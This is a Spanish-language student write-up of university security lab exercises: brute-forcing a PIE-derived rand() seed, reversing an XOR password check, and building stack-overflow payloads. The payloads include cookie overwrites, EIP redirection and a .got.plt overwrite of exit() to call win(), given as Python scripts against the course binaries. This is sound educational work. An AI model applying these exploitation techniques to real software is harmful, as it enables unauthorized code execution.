Escalera Pedro, Iman Federico

Ej 1

Lo primero que hicimos fue analizar un poco el comportamiento del programa. Primero lo que notamos fue que para el mismo input daba distintos resultados (lo cual nos da una pista de que probablemente se este usando algun tipo de numero random para la codificacion), pero tambien vimos que por cada caracter que introduciamos teniamos 2 caracteres de salida (si la palabra tenia 10 caracteres, el output tenia 20) y que el output parecia estar en hexadecimal ya que solo utilizaba los caracteres "0123456789abcdef". El tema de los dos numeros en hexa a partir de un caracter nos llevo a pensar que probablemente el binario estaba modificando el codigo ascii de cada caracter de alguna forma (un char tiene 8 bits, es decir 2 numeros en hexa son necesarios para representarlos). Ya con este analisis inicial continuamos con Cutter para hacer el dissasembly y decompilacion del codigo. Una vez que pasamos el binario por el programa vimos que efectivamente se cargaba un buffer con los datos que ingresabamos, se generaba un numero random al que se le hacia un "and" bit a bit con 0xff y luego se hacia un "xor" del resultado y el caracter actual. Esto logramos deducirlo mirando tanto el codigo decompilado como el dissasembly ya que el codigo decompilado tenia varios errores causados por ser un binario PIE (position independent executable). Lo primero que intentamos de hacer fue causar algun tipo de buffer overflow que fuerze a printf a devolver eso (claramente no habiamos entendido bien el ejercicio todavia, lo habiamos entendido como "Como podemos forzar al programa a devolver esto" y no "Cual era el secreto original antes de esta codificacion"). Un amigo luego nos dijo que estabamos entendiendo mal el problema asi que cambiamos nuestro enfoque. Buscando sobre la funcion rand de c encontramos que en teoria con la misma seed el programa siempre devuelve la misma secuencia de numeros aleatorios. Claramente nuestro programa no usaba la misma seed para cada corrida, si no los resultados hubiesen sido iguales con el mismo input. Buscando que se usaba como seed de srand encontramos las siguientes instrucciones en el assembly:

```
0x0000069b lea eax,  main ; 0x66c

0x000006a1 mov dword  [esp], eax

0x000006a4 call srand ; sym.imp.srand ; void srand(int seed)
```

Aca lo que vemos es que utiliza la instruccion "lea" para calcular la direccion efectiva de la funcion main, como es un binario PIE esta direccion cambia cada vez que se corre el programa. Ahora sabiendo esto podemos probar todas las direcciones de memoria posibles e ir comprobando el checksum hasta conseguir el secreto original. Pero primero veamos que las posibilidades se pueden achicar. Viendo el objdump o el dissasembly sabemos que la fucion main tiene un offset de 0x66c es decir sin importar donde se cargue el programa el final de la direccion de main va a ser 0x0000066c (Esto no estabamos seguros que fuese asi al principio pues indicaria que siempre se carga el programa en multiplos de 1000, es decir no sabiamos si la direccion donde se cargaba podia tener numeros en las ultimos 3 digitos y tal vez el offset se sumaba, para comprobarlo lo corrimos varias veces y con gdb comprobamos que main siempre se encontraba en una direccion que terminaba con "66c"). Esto baja las posibles seeds de **4.294.967.295** a **1.048.576** lo cual es mas facil de bruteforcear. De ahi fue cuestion de armar un programa en c que probara con todas las direeciones de memoria posibles de main como seed de srand y que luego aplicara la transformacion necesaria (xor y and).

Una vez que obtenemos el string podemos calcular el hash md5 de ese string y compararlo con el dado para ver si encontramos el secreto o esa direccion de memoria no era. El programa en c que creamos se encuentra en la carpeta ej1 y nos permitio obtener el secreto "The flag is EKO{bullshit_PIE_over_x86}" luego de usar la direccion "0xF775C66C" como seed de srand. Tuvimos algunos problemas donde el programa se quedaba loopeando si no encontraba el flag y descubrimos que se debia a que 0xFFFFFFFF (la maxima direccion de memoria) tambien es el valor maximo de un unsigned int asi que tuvimos que ajustar el programa acordemente usando unsigned longs donde fue necesario.

Ej 2

reversing R1

El binario R1 al ejecutarlo, nos pide una password y cuando ingresamos una nos devuelve Wrong! y termina.

Nuestra primer idea fue ver como es el codigo assembler de r1, es decir desensamblar el binario, esto lo hicimos con:

```
objdump -d r1
```

Obteniendo así el siguiente código en main:

```
080484b4 <main>:

80484b4: 55 push %ebp

80484b5: 89 e5 mov %esp,%ebp

80484b7: 57 push %edi

80484b8: 53 push %ebx

80484b9: 83 e4 f0 and $0xfffffff0,%esp

80484bc: 83 ec 40 sub $0x40,%esp

80484bf: 65 a1 14 00 00 00 mov %gs:0x14,%eax
```

```
80484c5: 89 44 24 3c mov %eax,0x3c(%esp)

80484c9: 31 c0 xor %eax,%eax

80484cb: c7 44 24 20 00 00 00 movl $0x0,0x20(%esp)

80484d2: 00

80484d3: b8 70 86 04 08 mov $0x8048670,%eax

80484d8: 89 04 24 mov %eax,(%esp)

80484db: e8 c0 fe ff ff call 80483a0 <printf@plt>

80484e0: b8 81 86 04 08 mov $0x8048681,%eax

80484e5: 8d 54 24 28 lea 0x28(%esp),%edx

80484e9: 89 54 24 04 mov %edx,0x4(%esp)

80484ed: 89 04 24 mov %eax,(%esp)

80484f0: e8 fb fe ff ff call 80483f0 <__isoc99_scanf@plt>

80484f5: c7 44 24 20 00 00 00 movl $0x0,0x20(%esp)
```

```
80484fc: 00

80484fd: eb 3f jmp 804853e <main+0x8a>

80484ff: 8b 44 24 20 mov 0x20(%esp),%eax

8048503: 05 20 a0 04 08 add $0x804a020,%eax

8048508: 0f b6 10 movzbl (%eax),%edx

804850b: 8b 44 24 20 mov 0x20(%esp),%eax

804850f: 31 d0 xor %edx,%eax

8048511: 88 44 24 27 mov %al,0x27(%esp)

8048515: 8d 44 24 28 lea 0x28(%esp),%eax

8048519: 03 44 24 20 add 0x20(%esp),%eax

804851d: 0f b6 00 movzbl (%eax),%eax

8048520: 3a 44 24 27 cmp 0x27(%esp),%al

8048524: 74 13 je 8048539 <main+0x85>
```

```
8048526: c7 04 24 84 86 04 08 movl $0x8048684,(%esp)

804852d: e8 8e fe ff ff call 80483c0 <puts@plt>

8048532: b8 01 00 00 00 mov $0x1,%eax

8048537: eb 41 jmp 804857a <main+0xc6>

8048539: 83 44 24 20 01 addl $0x1,0x20(%esp)

804853e: 8b 5c 24 20 mov 0x20(%esp),%ebx

8048542: b8 20 a0 04 08 mov $0x804a020,%eax

8048547: c7 44 24 1c ff ff ff movl $0xffffffff,0x1c(%esp)

804854e: ff

804854f: 89 c2 mov %eax,%edx

8048551: b8 00 00 00 00 mov $0x0,%eax

8048556: 8b 4c 24 1c mov 0x1c(%esp),%ecx

804855a: 89 d7 mov %edx,%edi
```

```
804855c: f2 ae repnz scas %es:(%edi),%al

804855e: 89 c8 mov %ecx,%eax

8048560: f7 d0 not %eax

8048562: 83 e8 01 sub $0x1,%eax

8048565: 39 c3 cmp %eax,%ebx

8048567: 72 96 jb 80484ff <main+0x4b>

8048569: c7 04 24 8b 86 04 08 movl $0x804868b,(%esp)

8048570: e8 4b fe ff ff call 80483c0 <puts@plt>

8048575: b8 00 00 00 00 mov $0x0,%eax

804857a: 8b 54 24 3c mov 0x3c(%esp),%edx

804857e: 65 33 15 14 00 00 00 xor %gs:0x14,%edx

8048585: 74 05 je 804858c <main+0xd8>

8048587: e8 24 fe ff ff call 80483b0 <__stack_chk_fail@plt>
```

```
804858c: 8d 65 f8 lea -0x8(%ebp),%esp

804858f: 5b pop %ebx

8048590: 5f pop %edi
8048591: 5d pop %ebp

8048592: c3 ret

8048593: 90 nop

8048594: 90 nop

8048595: 90 nop

8048596: 90 nop

8048597: 90 nop

8048598: 90 nop

8048599: 90 nop

804859a: 90 nop

804859b: 90 nop
```

```
804859c: 90 nop

804859d: 90 nop

804859e: 90 nop

804859f: 90 nop
```

Dando un vistazo rápido al código observamos que se ejecutan un par de instrucciones XOR CMP y ADD pero no mucho mas. Entonces en este punto tenemos dos opciones, empezar a leer el assembler detenidamente, entendiendo que hace cada paso para poder obtener toda la informacion que podamos y poder así deducir de alguna forma la password, lo que nos llevaría mucho tiempo o intentar ver si podemos usar alguna herramienta que nos facilite el código si es posible tenemos suerte.

Luego de un par de búsquedas encontramos un software que funcionaba en Linux y prometía darnos el código del binario usando Ingeniería inversa.

Usando esta herramienta pudimos encortar el código del archivo

```
undefined4 main(void)

{

    char cVar1;

    undefined4 uVar2;

    uint32_t uVar3;

    char *pcVar4;

    int32_t in_GS_OFFSET;

    uint8_t uVar5;

    uint32_t uStack48;

    uint8_t auStack40 [20];

    int32_t iStack20;

    int32_t var_8h;
```

```
    uVar5 = 0;
    iStack20 = *(int32_t *)(in_GS_OFFSET + 0x14);
    printf("Enter password: ");
    __isoc99_scanf(0x8048681, auStack40);
    uStack48 = 0;
    do {
        uVar3 = 0xffffffff;
        pcVar4 = "5tr0vZBrX:xTyR-P!";
        do {
            if (uVar3 == 0) break;
            uVar3 = uVar3 - 1;
            cVar1 = *pcVar4;
            pcVar4 = pcVar4 + (uint32_t)uVar5 * -2 + 1;
        } while (cVar1 != '\0');
        if (~uVar3 - 1 <= uStack48) {
            puts("\nSuccess!! Too easy.");
            uVar2 = 0;
            goto code_r0x0804857a;
        }
        if (auStack40[uStack48] != (uint8_t)((uint8_t)uStack48 ^ "5tr0vZBrX:xTyR-P!"
[uStack48])) {
            puts("Wrong!");
            uVar2 = 1;
            code_r0x0804857a:
            if (iStack20 != *(int32_t *)(in_GS_OFFSET + 0x14)) {
                uVar2 = __stack_chk_fail();
            }
```

```
            return uVar2;

        }

        uStack48 = uStack48 + 1;

    } while( true );

}
```

Lo que nos facilita muchísimo la resolución del problema.

Analizando un poco el código es fácil ver que es lo que hace, y como obtener la password.

Vamos analizar el código por las partes mas importantes.

Primero tenemos este bucle

```
do {

    uVar3 = 0xffffffff;

    pcVar4 = "5tr0vZBrX:xTyR-P!";

    do {

        if (uVar3 == 0) break;

        uVar3 = uVar3 - 1;

        cVar1 = *pcVar4;

        pcVar4 = pcVar4 + (uint32_t)uVar5 * -2 + 1;

    } while (cVar1 != '\0');
```

El cual básicamente resta 1 a uVar3 18 veces (notar que uVar3 comienza valiendo -1, y como es un bucle do while, el código se ejecuta 1 vez mas) por lo tanto uVar3 termina valiendo luego de esto -19.

Luego sigue este if, el cual nos interesa romper. Es decir nos interesa hacer que ~uVar3 - 1 sea menor o igual al valor de uStack48 vale 0. (notar ahora que ~uVar3 vale 18 - 1 = 17)

```
if (~uVar3 - 1 <= uStack48) {

    puts("\nSuccess!! Too easy.");

    uVar2 = 0;

    goto code_r0x0804857a;
```

```
}
```

A penas vimos esto pensamos que tal vez __isoc99_scanf() podía tener algún tipo de vulnerabilidad del estilo de gets() por lo que la idea a utilizar para solucionar este problema era ver si podíamos generar un buffer overflow o algo por el estilo. Para o poder hacer cumplir la condición del if (~uVar3 - 1 <= uStack48), o controlar el registro eip para saltar a la linea del puts.

Por inercia, seguimos leyendo el código a ver que es lo que hacia, antes de intentar romper el programa.

Lo que queda por ver es lo siguiente.

```
if (auStack40[uStack48] != (uint8_t)((uint8_t)uStack48 ^ "5tr0vZBrX:xTyR-P!"
[uStack48])) {

    puts("Wrong!");

    uVar2 = 1;

    code_r0x0804857a:

    if (iStack20 != *(int32_t *)(in_GS_OFFSET + 0x14)) {

        uVar2 = __stack_chk_fail();

    }

    return uVar2;

}

uStack48 = uStack48 + 1;

} while( true )
```

Analizando la porción final del código vemos que se hace un XOR carácter a carácter del siguiente string:

```
"5tr0vZBrX:xTyR-P!"
```

con los valores de uStack48 (el cual comienza siendo 0) y se compara si el resultado de este XOR es distinto a

```
auStack40[uStack48].
```

(Recordar que en auStack40 se guarda el la password ingresada por el usuario)

Pasando a limpio lo que acabamos de decir, el if se fija si cada carácter de la password ingresada coincide con cada carácter de "5tr0vZBrX:xTyR-P!" pero haciendo XOR con uStack48.

Ahora lo interesante de esto es que si el if se cumple, es decir se da que nuestra password en algún punto no coincidió con lo que debía, el programa termina haciendo

```
puts("Wrong!");

uVar2 = 1;
```

y finalmente

```
return uVar2
```

Pero si se da que no se cumple el if, es decir

nuestra password coincidió con lo que debía,

no se ejecuta esto, el programa continua y se realiza la siguiente operación:

```
 uStack48 = uStack48 + 1;
```

Dando a entender que básicamente si ingresamos la password correcta, uStack48 va a ir aumentando hasta que llegue a valer 17 y se entre en este if:

```
if (~uVar3 - 1 <= uStack48) {

    puts("\nSuccess!! Too easy.");

    uVar2 = 0;

    goto code_r0x0804857a;

}
```

Y ahora habiendo analizado todo esto, podemos ver que obtener la password por nosotros mismos es sumamente simple, y sin necesidad de buscar alguna posible vulnerabilidad en __isoc99_scanf().

Para generar la password usamos el siguiente script en python.

```
password = ''

for i in range(len('5tr0vZBrX:xTyR-P!')):

    password = password + chr((i ^ ord('5tr0vZBrX:xTyR-P!'[i])))

print(password)
```

Obteniendo así la password:

```
5up3r_DuP3r_u_#_1
```

Ej 3

Usuario usado por ambos para resolver los challenges: ImanFederico

Challenge 01:

resuelto en clase

Challenge 02:

La única diferencia es que ahora debemos ingresar el valor que le queremos ingresar a la cookie directamente en hexa de esta forma:

```
f.write('A'*70 + '\x04' + '\x03' + '\x02' + '\x01')
```

ya que en ASCII estos valores representan caracteres de control SOH, STX, ETX y EOT.

Por lo que se hace imposible llegar desde texto a los valores requeridos.

Challenge 01 y 02:

La combinación de los challenges 1 y 2 es facil:

ej1 :

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
```

ej2:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA□□□□
```

ej 1 y 2:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA□□□□AAAAAADCBA
```

Challenge 03:

Este challenge no lo solucionamos de la misma forma que los anteriores.

Lo que hicimos este caso es pisar el registro eip el cual contiene el Program counter, con la dirección del print dentro del if. para hacer esto solo debemos llenar el buf con 60 A lugo la cookie con 4 A, luego el registro ebp con 4 A mas obteniendo asi 68 A y luego ingresamos la direccion de memoria deseada para así poder modificar el registro eip.

La dirección de memoria deseada se puede obtener dentro de gdb con el comando:

```
disas main
```

obteniendo:

```
0x08048438 <+0>: push %ebp



0x08048439 <+1>: mov %esp,%ebp



0x0804843b <+3>: sub $0x40,%esp
```

```
0x0804843e <+6>: movl $0x0,-0x4(%ebp)


0x08048445 <+13>: lea -0x40(%ebp),%eax


0x08048448 <+16>: push %eax


0x08048449 <+17>: call 0x8048320
<gets@plt>
0x0804844e <+22>: add $0x4,%esp
0x08048451 <+25>: cmpl $0xd0a00,-0x4
(%ebp)
0x08048458 <+32>: jne 0x8048467 <main+47>
0x0804845a <+34>: push $0x8048544
0x0804845f <+39>: call 0x8048330 <puts@plt>
0x08048464 <+44>: add $0x4,%esp
0x08048467 <+47>: mov $0x0,%eax
0x0804846c <+52>: leave
0x0804846d <+53>: ret
```

Obteniendo en esta linea la dirección deseada:

```
0x0804845a <+34>: push $0x8048544
```

Finalmente pasamos usamos la librería struct con el método pack y la flag "<i" para pasar al

la dirección de memoria en formato

little-endian(<) y como un int (i)

Challenge 01 y 03:

Aplicando la misma lógica anterior podemos formar la solución o con el siguiente script:

```
from struct import pack

f = open('ej3', 'wb')

f.write('A'*68+pack('<i', 0x0804845a)+'A'*8+'DCBA')
```

Challenge 02 y 03:

Para resolver estos challenge, cambiamos la solución del 2 y lo solucionamos igual que el 3

es decir, pisamos el eip del challenge 2 para obtener un payload mas grande y así poder meter la solución del 3 en el mismo payload sin superposiciones.

```
f = open('ej2y3', 'wb')

f.write('A'*68+pack('<i', 0x0804845a)+'A'*6+pack('<i', 0x0804845a))
```

Challenge 6

Lo primero que intentamos en este challenge fue causar un buffer overflow y cambiar la return address de la funcion, pero ahi notamos que al final de main no habia un return si no que habia un exit(-1) asi que este metodo no nos iba a funcionar. Sabiendo que podiamos overflowear el buffer 2 nos pusimos a ver que podiamos pisar y nos dimos cuenta que el puntero hacia buf1 se guarda en el stack asi que podiamos poner cualquier direccion de la memoria en ese puntero. Viendo que luego se hace un strcpy y combinado a lo que vimos recien nos dimos cuenta que podiamos escribir cualquier direccion de la memoria poniendo lo que queriamos escribir al principio de buffer2 y poniendo la direccion a donde lo queremos escribir justo al final del payload que le pasamos que cause apenas un buffer overflow (ya que el puntero esta inmediatamente despues en el stack). Sabiendo esto nos pusimos a pensar de que nos podia servir, sabiamos que la parte .text del programa suele estar protegida contra escritura pero viendo el resumen en cutter vimos que el binario tenia RELRO parcial y como encontramos en este post la seccion .got.plt se puede escribir. Leyendo .got.plt podemos ver que tiene informacion de donde se encuentra la funcion strcpy y la funcion exit. Esta ultima es la que nos interesa ya que escribiendo en esa direccion la direccion de memoria de la funcion win podiamos forzar al programa a llamar a win() cuando creia que estaba llamando a exit(-1). Luego fue cuestion de analizar bien las direcciones en gdb y armar el payload lo cual hicimos de la siguiente manera:

```
f = open('ej6','wb')
f.write('\xd9\x84\x04\x08' + '\xf9\x84\x04\x08' + 'A' * 376 + '\x14\xa0\x04\x08')
```

donde 0x0804a014 es la direccion de .got.plt donde se encuentran los datos de exit y 0x080484d9 hasta 080484d9 es mas o menos donde se encuentra win y es lo que se escribe cuando corre strcpy con el puntero pisado anteriormente.

Finalmente las combinaciones fueron bastante faciles ya que el buffer este es bastante grande asi que no se pisa con cosas de los otros ejercicios ni al principio(que los otros ni lo usan) ni al final (ya que tienen distintos tamaños tamaños de buffer). Utilizamos los siguientes codigos para generar los payloads respectivos:

```
Ej 6 y 1
f = open('ej6y1','wb')
```

```
f.write('\xd9\x84\x04\x08' + '\xf9\x84\x04\x08' + 'A'*72 + 'DCBA' + 'A' * 300 +
'\x14\xa0\x04\x08')

Ej 6 y 2
f = open('ej6y2','wb')
f.write('\xd9\x84\x04\x08' + '\xf9\x84\x04\x08' + 'A' * 62 + '\x04\x03\x02\x01' + 'A'
* 310 + '\x14\xa0\x04\x08')

Ej 6 y 3
f = open('ej6y3','wb')
f.write('\xd9\x84\x04\x08' + '\xf9\x84\x04\x08' + 'A'*60 + '\x5a\x84\x04\x08' + 'A' *
312 + '\x14\xa0\x04\x08')

Ej 6_1y2
f = open('ej6_1y2','wb')
f.write('\xd9\x84\x04\x08' + '\xf9\x84\x04\x08' + 'A' * 62 + '\x04\x03\x02\x01' +'A'*
6+ 'DCBA' + 'A' * 300 + '\x14\xa0\x04\x08')

Ej 6_1y3
f = open('ej6_1y3','wb')
f.write('\xd9\x84\x04\x08' + '\xf9\x84\x04\x08' + 'A' * 60 + '\x5a\x84\x04\x08' +'A'*
8 + 'DCBA' + 'A' * 300 + '\x14\xa0\x04\x08')

Ej 6_2y3
f = open('ej6_2y3','wb')
f.write('\xd9\x84\x04\x08' + '\xf9\x84\x04\x08' + 'A' * 60 + '\x5a\x84\x04\x08' +'A'*
6 +  '\x5a\x84\x04\x08' + 'A' * 302 + '\x14\xa0\x04\x08')
```